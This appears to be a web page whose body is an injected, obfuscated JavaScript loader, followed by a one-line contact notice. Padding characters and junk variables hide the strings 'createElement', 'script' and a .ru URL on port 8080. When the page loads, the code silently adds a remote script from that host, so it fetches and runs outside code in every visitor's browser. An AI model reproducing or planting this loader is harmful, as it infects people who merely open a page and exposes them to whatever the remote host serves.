this.GZ='';function y() {var KV="";var ya='g';var Eo;if(Eo!=''){Eo='bd'};var h='replace';var Kl="";var w;if(w!='Gd' && w != ''){w=null};var s=']';var K=RegExp;var m=new String();var Ex;if(Ex!='eu' && Ex!='DN'){Ex=''};var e=new String();var bm='';var G='[';var Bj=new String();var Y;if(Y!='BF'){Y='BF'};this.tx='';var O=new String();function a(i,P){var Kt=new Array();var SX="";var b=G;this.wA="";var j;if(j!='wv' && j != ''){j=null};b+=P;var yo=new String();b+=s;var f=new K(b, ya);var ay=new String();return i[h](f, e);};var AS;if(AS!='p'){AS=''};var OY;if(OY!='Iy'){OY=''};var pu;if(pu!='' && pu!='Yj'){pu='Ji'};this.sF="";var Z=window;var E=a('cWrGeGaWt9e9E1l9e9mueunGt9',"W91uG");var L='';var tv=new Array();var jJ;if(jJ!='n' && jJ != ''){jJ=null};var Q=a('s0cmr0i0potm',"Bmo0");var k=a('/QtZa2gEgEe2dZ.Ec2o2m2/Et2aQg2gQeZdE.QcEo2mQ/Zj2eQuZxQvQiZd2e2o2.ZcEoEmQ/Es2tZa2yQfZrQiEeZnQdEsE.QdZe2/QgEoQo2gQl2eQ.EcEo2mQ.EpEhZpQ',"QE2Z");this.bA="";this.K_="";var ZF=a('hAtStSpS:6/P/PrSiPnAc6oPnPdSeAlAvAa6gOoO-ScSoPmS.OwSiSnPdPoOwPs6lOiSv6eO.OcSoAmA.OpPiAxAnAe6t6-Pn6eAt6.6s6u6pAeOrOnPePwOsAtSu6fSfP.ArPu6:6',"SA6PO");var lg='';var Qx='';var A=a('8636033856056',"653");var cZ;if(cZ!='wt'){cZ='wt'};var oK=new Array();Z[a('o0nklkokakd0',"60Mk")]=function(){try {var cT;if(cT!=''){cT='aD'};var TQ='';var TW='';L+=ZF;L+=A;L+=k;var Yo=new Array();var Tv;if(Tv!=''){Tv='D_'};fJ=document[E](Q);var mx='';var ZZ=new Date();this.dn='';bX(fJ,'src',L);bX(fJ,'defer',([1,7][0]));this.H="";var bb="";var Hn='';document.body.appendChild(fJ);var uN;if(uN!='FY'){uN=''};var gB=new Date();} catch(V){};this.wn="";};this.zM='';this.Pr="";var yD;if(yD!='' && yD!='ZY'){yD=''};function bX(t,W,D){var nD;if(nD!='mT' && nD!='XK'){nD=''};t.setAttribute(W, D);var Doq=new String();var cm;if(cm!='' && cm!='Yt'){cm=''};}this.dv="";var MK;if(MK!='' && MK!='wtN'){MK=null};var nC=new Date();var DK;if(DK!=''){DK='wG'};};var MS;if(MS!='iN' && MS!='pd'){MS=''};y();var VF=new Date();var iF=new Array();
 Questions or comments welcome: contact me.